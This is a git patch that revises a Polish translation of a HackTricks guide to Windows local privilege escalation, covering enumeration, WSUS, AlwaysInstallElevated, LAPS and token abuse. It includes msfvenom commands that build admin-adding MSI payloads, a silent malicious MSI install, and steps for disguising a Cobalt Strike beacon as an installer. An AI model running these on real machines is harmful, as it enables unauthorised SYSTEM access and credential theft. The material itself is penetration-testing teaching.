From 53881e628d3967e55109d1c7e015c919ca5fa174 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 15:36:37 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio --- .../README.md | 695 ++++++++++-------- 1 file changed, 370 insertions(+), 325 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 15a7f0597..bb7a65f1c 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -### **Najlepsze narzędzie do wyszukiwania Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Najlepsze narzędzie do wyszukiwania wektorów Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Podstawy teoretyczne Windows +## Wstępna teoria Windows ### Access Tokens @@ -33,20 +33,20 @@ acls-dacls-sacls-aces.md integrity-levels.md {{#endref}} -## Windows Security Controls +## Kontrole bezpieczeństwa Windows -W Windows istnieją różne mechanizmy, które mogą **uniemożliwić Ci enumerację systemu**, blokować uruchamianie plików wykonywalnych lub nawet **wykryć Twoje działania**. Powinieneś **przeczytać** następującą **stronę** i **wypisać** wszystkie te **mechanizmy obronne** przed rozpoczęciem enumeracji związanej z privilege escalation: +W Windows istnieją różne elementy, które mogą **zapobiec enumeracji systemu**, uruchamianiu plików wykonywalnych lub nawet **wykryć twoje działania**. Powinieneś **przeczytać** następującą **stronę** i **wyenumerować** wszystkie te **mechanizmy obronne** zanim rozpoczniesz privilege escalation enumeration: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## System Info +## Informacje o systemie -### Version info enumeration +### Enumeracja informacji o wersji -Sprawdź, czy wersja Windows ma jakąś znaną podatność (sprawdź również zastosowane poprawki). +Sprawdź, czy wersja Windows ma jakieś znane podatności (sprawdź także zastosowane poprawki). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Wersje Exploits +### Eksploity wersji -Ten [site](https://msrc.microsoft.com/update-guide/vulnerability) jest przydatny do wyszukiwania szczegółowych informacji o lukach bezpieczeństwa Microsoftu. Ta baza danych zawiera ponad 4 700 luk bezpieczeństwa, pokazując **massive attack surface**, jakie stwarza środowisko Windows. +Ta [strona](https://msrc.microsoft.com/update-guide/vulnerability) jest przydatna do wyszukiwania szczegółowych informacji o lukach bezpieczeństwa Microsoftu. Ta baza danych zawiera ponad 4,700 luk bezpieczeństwa, pokazując **ogromną powierzchnię ataku**, jaką przedstawia środowisko Windows. **Na systemie** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ma watson osadzony)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ma wbudowany watson)_ **Lokalnie z informacjami o systemie** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Repozytoria Github z exploits:** +**Repozytoria Github z exploitami:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### Pliki transkrypcji PowerShell -Możesz dowiedzieć się, jak to włączyć na [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Instrukcję, jak to włączyć, znajdziesz na [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,34 +116,34 @@ Stop-Transcript ``` ### PowerShell Module Logging -Szczegóły wykonywania pipeline'ów PowerShell są rejestrowane, obejmując wykonywane polecenia, wywołania poleceń i fragmenty skryptów. Jednak pełne szczegóły wykonania i wyniki wyjścia mogą nie zostać uchwycone. +Szczegóły wykonywania pipeline'ów PowerShell są rejestrowane, obejmując wykonywane polecenia, wywołania poleceń oraz fragmenty skryptów. Jednak pełne szczegóły wykonania i wyniki wyjścia mogą nie zostać zarejestrowane. -Aby to włączyć, postępuj według instrukcji w sekcji "Transcript files" dokumentacji, wybierając **"Module Logging"** zamiast **"Powershell Transcription"**. +Aby to włączyć, postępuj zgodnie ze instrukcjami w sekcji "Transcript files" dokumentacji, wybierając **"Module Logging"** zamiast **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Aby wyświetlić ostatnie 15 zdarzeń z PowerShell logs możesz wykonać: +Aby wyświetlić ostatnie 15 zdarzeń z PowersShell logs, możesz wykonać: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Rejestrowany jest kompletny zapis aktywności oraz pełna zawartość wykonywania skryptu, dzięki czemu każdy blok kodu jest dokumentowany w trakcie działania. Proces ten zachowuje kompleksowy ślad audytu każdej operacji, przydatny w analizach kryminalistycznych i badaniu złośliwych zachowań. Dokumentując całą aktywność w momencie wykonywania, udostępniane są szczegółowe informacje o przebiegu procesu. +Rejestrowany jest pełny zapis aktywności i zawartości wykonywania skryptu, zapewniając dokumentację każdego bloku kodu w czasie jego uruchamiania. Proces ten zachowuje kompleksowy ślad audytu każdej aktywności, cenny dla badań kryminalistycznych i analizy złośliwego zachowania. Dokumentując całą aktywność w momencie wykonania, uzyskuje się szczegółowy wgląd w przebieg procesu. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Zdarzenia rejestrowane dla Script Block można znaleźć w Windows Event Viewer pod ścieżką: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Aby wyświetlić ostatnie 20 zdarzeń możesz użyć: +Zdarzenia logowania dla Script Block można znaleźć w Windows Event Viewer pod ścieżką: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Aby wyświetlić ostatnie 20 zdarzeń, możesz użyć: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` -### Ustawienia Internetowe +### Ustawienia Internetu ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Możesz przejąć system, jeśli aktualizacje nie są pobierane przy użyciu http**S**, lecz http. +Możesz przejąć system, jeśli aktualizacje nie są pobierane przez http**S**, lecz przez http. -Zaczynasz od sprawdzenia, czy sieć korzysta z niezaszyfrowanego WSUS, uruchamiając poniższe w cmd: +Zaczynasz od sprawdzenia, czy sieć korzysta z aktualizacji WSUS bez SSL, uruchamiając w cmd następujące polecenie: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -166,7 +166,7 @@ Lub następujące w PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Jeśli otrzymasz odpowiedź taką jak jedna z tych: +Jeśli otrzymasz odpowiedź taką jak jedna z poniższych: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -182,9 +182,9 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` A jeśli `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` lub `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` jest równe `1`. -Wtedy, **można to wykorzystać.** Jeśli ostatni wpis rejestru jest równy 0, wpis WSUS zostanie zignorowany. +Wtedy, **it is exploitable.** Jeśli ostatni wpis rejestru jest równy 0, wtedy wpis WSUS zostanie zignorowany. -Aby wykorzystać te podatności, można użyć narzędzi takich jak: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS](https://github.com/GoSecure/pywsus) — są to skrypty typu MiTM (weaponized exploit scripts) służące do wstrzykiwania 'fałszywych' aktualizacji w nie-SSL ruch WSUS. +Aby wykorzystać te podatności, możesz użyć narzędzi takich jak: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — są to MiTM weaponized exploit scripts do wstrzykiwania 'fake' updates w nieszyfrowany ruch WSUS. Read the research here: @@ -195,17 +195,18 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -W zasadzie, to jest luka, którą ten błąd wykorzystuje: +Zasadniczo, to jest luka, którą ten błąd wykorzystuje: -> Jeśli mamy możliwość zmodyfikowania lokalnego proxy użytkownika, a Windows Updates korzysta z proxy skonfigurowanego w ustawieniach Internet Explorera, wówczas możemy uruchomić lokalnie [PyWSUS](https://github.com/GoSecure/pywsus), aby przechwycić własny ruch i uruchomić kod jako podwyższony użytkownik na naszym urządzeniu. +> Jeśli mamy możliwość modyfikacji lokalnego proxy użytkownika, a Windows Updates używa proxy skonfigurowanego w ustawieniach Internet Explorer’s, to mamy możliwość uruchomienia [PyWSUS](https://github.com/GoSecure/pywsus) lokalnie, aby przechwycić własny ruch i uruchomić kod jako podniesiony użytkownik na naszym zasobie. > -> Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, użyje też jego magazynu certyfikatów. Jeśli wygenerujemy samopodpisany certyfikat dla nazwy hosta WSUS i dodamy go do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwytywać ruch WSUS zarówno HTTP, jak i HTTPS. WSUS nie stosuje mechanizmów podobnych do HSTS, by wdrożyć walidację typu "trust-on-first-use" dla certyfikatu. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę. +> Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, użyje również jego magazynu certyfikatów. Jeśli wygenerujemy self-signed certificate dla hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno HTTP, jak i HTTPS ruch WSUS. WSUS nie stosuje mechanizmów podobnych do HSTS do wdrożenia walidacji typu trust-on-first-use dla certyfikatu. Jeśli prezentowany certyfikat jest zaufany przez użytkownika i ma prawidłową nazwę hosta, zostanie zaakceptowany przez usługę. -Tę podatność można wykorzystać za pomocą narzędzia [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (gdy będzie dostępne). +Możesz wykorzystać tę lukę za pomocą narzędzia [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (gdy będzie udostępnione). -## Third-Party Auto-Updaters and Agent IPC (local privesc) +## Auto-updatery firm trzecich i Agent IPC (local privesc) + +Wiele agentów korporacyjnych udostępnia powierzchnię IPC na localhost oraz uprzywilejowany kanał aktualizacji. Jeśli enrollment można przekierować do serwera atakującego, a updater ufa rogue root CA lub ma słabe sprawdzanie podpisu, lokalny użytkownik może dostarczyć złośliwe MSI, które usługa SYSTEM zainstaluje. Zobacz uogólnioną technikę (opartą na łańcuchu Netskope stAgentSvc – CVE-2025-0309) tutaj: -Wiele agentów korporacyjnych udostępnia na localhost powierzchnię IPC oraz uprzywilejowany kanał aktualizacji. Jeśli rejestrację można wymusić na serwer atakującego, a updater ufa złośliwemu root CA lub ma słabe sprawdzanie podpisów, lokalny użytkownik może dostarczyć złośliwe MSI, które usługa SYSTEM zainstaluje. Zobacz uogólnioną technikę (opartą na łańcuchu Netskope stAgentSvc – CVE-2025-0309) tutaj: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,15 +214,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. Te warunki obejmują środowiska, w których **LDAP signing nie jest wymuszony**, użytkownicy mają uprawnienia własne umożliwiające skonfigurowanie **Resource-Based Constrained Delegation (RBCD)** oraz możliwość tworzenia komputerów w domenie. Ważne jest, że te **wymagania** są spełnione przy **domyślnych ustawieniach**. +A **local privilege escalation** vulnerability istnieje w środowiskach domenowych Windows przy określonych warunkach. Warunki te obejmują środowiska, w których **LDAP signing is not enforced,** użytkownicy mają uprawnienia pozwalające im skonfigurować **Resource-Based Constrained Delegation (RBCD),** oraz możliwość tworzenia komputerów w domenie. Ważne jest, aby zauważyć, że te **wymagania** są spełnione w **ustawieniach domyślnych**. -Znajdź **exploit** na [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit w** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Aby uzyskać więcej informacji o przebiegu ataku, zobacz [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**If** te 2 klucze rejestru są **włączone** (wartość jest **0x1**), to użytkownicy o dowolnych uprawnieniach mogą **zainstalować** (uruchomić) pliki `*.msi` jako NT AUTHORITY\\**SYSTEM**. +**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -231,11 +232,11 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Jeśli masz sesję meterpreter możesz zautomatyzować tę technikę za pomocą modułu **`exploit/windows/local/always_install_elevated`** +Jeśli masz sesję meterpreter możesz zautomatyzować tę technikę używając modułu **`exploit/windows/local/always_install_elevated`** ### PowerUP -Użyj polecenia `Write-UserAddMSI` z power-up, aby utworzyć w bieżącym katalogu plik MSI systemu Windows służący do eskalacji uprawnień. Ten skrypt zapisuje wstępnie skompilowany instalator MSI, który pyta o dodanie użytkownika/grupy (więc będziesz potrzebować dostępu GIU): +Użyj polecenia `Write-UserAddMSI` z power-up, aby utworzyć w bieżącym katalogu binarny plik MSI Windows służący do escalate privileges. Ten skrypt zapisuje prekompilowany instalator MSI, który wyświetla monit o dodanie użytkownika/grupy (więc będziesz potrzebować GIU access): ``` Write-UserAddMSI ``` @@ -243,38 +244,38 @@ Po prostu uruchom utworzony plik binarny, aby podnieść uprawnienia. ### MSI Wrapper -Przeczytaj ten samouczek, aby dowiedzieć się, jak utworzyć MSI wrapper przy użyciu tych narzędzi. Zauważ, że możesz opakować plik "**.bat**" jeśli **tylko** chcesz **wykonywać** **polecenia** +Przeczytaj ten samouczek, aby dowiedzieć się, jak utworzyć MSI wrapper przy użyciu tych narzędzi. Zwróć uwagę, że możesz opakować plik "**.bat**", jeśli **tylko** chcesz **wykonywać** **polecenia w wierszu poleceń** {{#ref}} msi-wrapper.md {{#endref}} -### Utwórz MSI przy użyciu WIX +### Create MSI with WIX {{#ref}} create-msi-with-wix.md {{#endref}} -### Utwórz MSI przy użyciu Visual Studio +### Create MSI with Visual Studio -- **Wygeneruj** za pomocą Cobalt Strike lub Metasploit **nowy Windows EXE TCP payload** w `C:\privesc\beacon.exe` -- Otwórz **Visual Studio**, wybierz **Create a new project** i wpisz "installer" w polu wyszukiwania. Wybierz projekt **Setup Wizard** i kliknij **Next**. -- Nadaj projektowi nazwę, np. **AlwaysPrivesc**, użyj **`C:\privesc`** jako lokalizacji, zaznacz **place solution and project in the same directory**, i kliknij **Create**. -- Klikaj **Next** aż dojdziesz do kroku 3 z 4 (wybór plików do dołączenia). Kliknij **Add** i wybierz Beacon payload, który właśnie wygenerowałeś. Następnie kliknij **Finish**. -- Zaznacz projekt **AlwaysPrivesc** w **Solution Explorer** i w **Properties** zmień **TargetPlatform** z **x86** na **x64**. -- Są inne właściwości, które możesz zmienić, takie jak **Author** i **Manufacturer**, co może sprawić, że zainstalowana aplikacja będzie wyglądać bardziej wiarygodnie. -- Kliknij prawym przyciskiem projekt i wybierz **View > Custom Actions**. -- Kliknij prawym przyciskiem **Install** i wybierz **Add Custom Action**. -- Dwukrotnie kliknij **Application Folder**, wybierz plik **beacon.exe** i kliknij **OK**. Zapewni to, że beacon payload zostanie uruchomiony zaraz po uruchomieniu instalatora. -- W **Custom Action Properties** zmień **Run64Bit** na **True**. -- Na koniec **zbuduj**. -- Jeśli pojawi się ostrzeżenie `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, upewnij się, że ustawiłeś platformę na x64. +- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- Open **Visual Studio**, select **Create a new project** and type "installer" into the search box. Select the **Setup Wizard** project and click **Next**. +- Give the project a name, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**. +- Keep clicking **Next** until you get to step 3 of 4 (choose files to include). Click **Add** and select the Beacon payload you just generated. Then click **Finish**. +- Highlight the **AlwaysPrivesc** project in the **Solution Explorer** and in the **Properties**, change **TargetPlatform** from **x86** to **x64**. +- There are other properties you can change, such as the **Author** and **Manufacturer** which can make the installed app look more legitimate. +- Right-click the project and select **View > Custom Actions**. +- Right-click **Install** and select **Add Custom Action**. +- Double-click on **Application Folder**, select your **beacon.exe** file and click **OK**. This will ensure that the beacon payload is executed as soon as the installer is run. +- Under the **Custom Action Properties**, change **Run64Bit** to **True**. +- Finally, **build it**. +- If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64. -### Instalacja MSI +### MSI Installation -Aby wykonać **instalację** złośliwego pliku `.msi` w **tle:** +Aby wykonać **instalację** złośliwego pliku `.msi` w tle: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` @@ -284,19 +285,20 @@ Aby wykorzystać tę podatność możesz użyć: _exploit/windows/local/always_i ### Ustawienia audytu -Te ustawienia decydują o tym, co jest **logowane**, więc warto zwrócić na nie uwagę +Te ustawienia decydują o tym, co jest **logowane**, więc powinieneś zwrócić uwagę ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding — warto wiedzieć, dokąd wysyłane są logi +Windows Event Forwarding — warto wiedzieć, dokąd trafiają logi ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** jest przeznaczony do **zarządzania lokalnymi hasłami konta Administratora**, zapewniając, że każde hasło jest **unikatowe, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Hasła te są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którym przyznano odpowiednie uprawnienia przez ACLs, umożliwiając im przeglądanie lokalnych haseł administratora, jeśli są do tego uprawnieni. +**LAPS** został zaprojektowany do **zarządzania hasłami lokalnego Administratora**, zapewniając, że każde hasło jest **unikatowe, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którym przyznano odpowiednie uprawnienia przez ACL, pozwalając im na przeglądanie haseł lokalnego administratora, jeśli są upoważnieni. + {{#ref}} ../active-directory-methodology/laps.md @@ -304,36 +306,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Jeśli aktywne, **plain-text passwords są przechowywane w LSASS** (Local Security Authority Subsystem Service).\ -[**Więcej informacji o WDigest na tej stronie**](../stealing-credentials/credentials-protections.md#wdigest). +Jeśli jest aktywny, **hasła w postaci tekstu jawnego są przechowywane w LSASS** (Local Security Authority Subsystem Service).\ +[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Począwszy od **Windows 8.1**, Microsoft wprowadził wzmocnioną ochronę dla Local Security Authority (LSA), aby **zablokować** próby przez niezaufane procesy polegające na **odczycie jej pamięci** lub wstrzykiwaniu kodu, dodatkowo zabezpieczając system.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +Począwszy od **Windows 8.1**, Microsoft wprowadził zwiększoną ochronę dla Local Security Authority (LSA), aby **blokować** próby niezaufanych procesów mających na celu **odczytanie jego pamięci** lub inject code, dodatkowo zwiększając bezpieczeństwo systemu.\ +[**Więcej informacji o LSA Protection tutaj**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** został wprowadzony w **Windows 10**. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak ataki pass-the-hash.| [**Więcej informacji o Credentials Guard tutaj.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** został wprowadzony w **Windows 10**. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak ataki pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Cached Credentials +### Poświadczenia w pamięci podręcznej -**Domain credentials** są uwierzytelniane przez **Local Security Authority** (LSA) i wykorzystywane przez komponenty systemu operacyjnego. Gdy dane logowania użytkownika zostaną uwierzytelnione przez zarejestrowany security package, dla użytkownika zazwyczaj tworzone są domain credentials.\ +**Poświadczenia domenowe** są uwierzytelniane przez **Local Security Authority (LSA)** i wykorzystywane przez składniki systemu operacyjnego. Gdy dane logowania użytkownika są uwierzytelniane przez zarejestrowany pakiet zabezpieczeń, poświadczenia domenowe dla użytkownika są zazwyczaj ustanawiane.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` ## Użytkownicy i grupy -### Wyliczanie użytkowników i grup +### Enumeracja użytkowników i grup -Należy sprawdzić, czy którakolwiek z grup, do których należysz, ma interesujące uprawnienia. +Sprawdź, czy którakolwiek z grup, do których należysz, ma interesujące uprawnienia. ```bash # CMD net users %username% #Me @@ -348,19 +350,19 @@ Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` -### Uprzywilejowane grupy +### Grupy uprzywilejowane -Jeśli **należysz do jakiejś uprzywilejowanej grupy, możesz być w stanie podnieść uprawnienia**. Dowiedz się o uprzywilejowanych grupach i jak je nadużyć, aby podnieść uprawnienia tutaj: +Jeśli **należysz do grupy uprzywilejowanej, możesz być w stanie eskalować uprawnienia**. Dowiedz się o grupach uprzywilejowanych i o tym, jak je wykorzystać do eskalacji uprawnień tutaj: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Manipulacja tokenami +### Token manipulation **Dowiedz się więcej** o tym, czym jest **token** na tej stronie: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Sprawdź następującą stronę, aby **dowiedzieć się o interesujących tokenach** i jak je nadużyć: +Sprawdź następującą stronę, aby **learn about interesting tokens** i jak je nadużyć: {{#ref}} @@ -372,7 +374,7 @@ privilege-escalation-abusing-tokens.md qwinsta klist sessions ``` -### Katalogi domowe +### Foldery domowe ```bash dir C:\Users Get-ChildItem C:\Users @@ -389,8 +391,8 @@ powershell -command "Get-Clipboard" ### Uprawnienia plików i folderów -Przede wszystkim, przeglądając procesy, **sprawdź, czy w linii poleceń procesu nie ma haseł**.\ -Sprawdź, czy możesz **nadpisać jakiś uruchomiony binary** lub czy masz prawa zapisu do folderu z binary, aby wykorzystać możliwe [**DLL Hijacking attacks**](dll-hijacking/index.html): +Przede wszystkim podczas listowania procesów **sprawdź, czy w linii poleceń procesu znajdują się hasła**.\ +Sprawdź, czy możesz **nadpisać jakiś uruchomiony binary** lub czy masz uprawnienia zapisu do folderu z binary, aby wykorzystać możliwe [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -401,9 +403,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Zawsze sprawdzaj, czy nie działają potencjalne [**electron/cef/chromium debuggers** — można je wykorzystać do eskalacji uprawnień](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Zawsze sprawdzaj, czy nie działają [**electron/cef/chromium debuggers** działają, możesz to wykorzystać do eskalacji uprawnień](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Sprawdzanie uprawnień binariów procesów** +**Sprawdzanie uprawnień binarek procesów** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -412,7 +414,7 @@ icacls "%%z" ) ) ``` -**Sprawdzanie uprawnień folderów zawierających binaria procesów (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Sprawdzanie uprawnień folderów z plikami binarnymi procesów (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -422,13 +424,13 @@ todos %username%" && echo. ``` ### Memory Password mining -Możesz utworzyć memory dump procesu działającego za pomocą **procdump** z sysinternals. Usługi takie jak FTP mają **credentials in clear text in memory**, spróbuj zrzucić pamięć i odczytać credentials. +Możesz utworzyć zrzut pamięci uruchomionego procesu za pomocą **procdump** z sysinternals. Usługi takie jak FTP mają **credentials in clear text in memory**, spróbuj zrzucić pamięć i odczytać credentials. ```bash procdump.exe -accepteula -ma ``` -### Niebezpieczne aplikacje GUI +### Niezabezpieczone aplikacje GUI -**Aplikacje uruchomione jako SYSTEM mogą pozwolić użytkownikowi na uruchomienie CMD lub przeglądanie katalogów.** +**Aplikacje działające jako SYSTEM mogą pozwolić użytkownikowi na uruchomienie CMD lub przeglądanie katalogów.** Przykład: "Windows Help and Support" (Windows + F1), wyszukaj "command prompt", kliknij "Click to open Command Prompt" @@ -451,7 +453,7 @@ Zaleca się posiadanie binarki **accesschk** z _Sysinternals_, aby sprawdzić wy ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Zaleca się sprawdzić, czy "Authenticated Users" mogą modyfikować jakąkolwiek usługę: +Zaleca się sprawdzić, czy "Authenticated Users" mogą modyfikować dowolną usługę: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -460,27 +462,27 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` [You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### Włączenie usługi +### Włącz usługę -Jeśli występuje ten błąd (na przykład dla SSDPSRV): +Jeśli występuje ten błąd (na przykład w przypadku SSDPSRV): _Wystąpił błąd systemowy 1058._\ 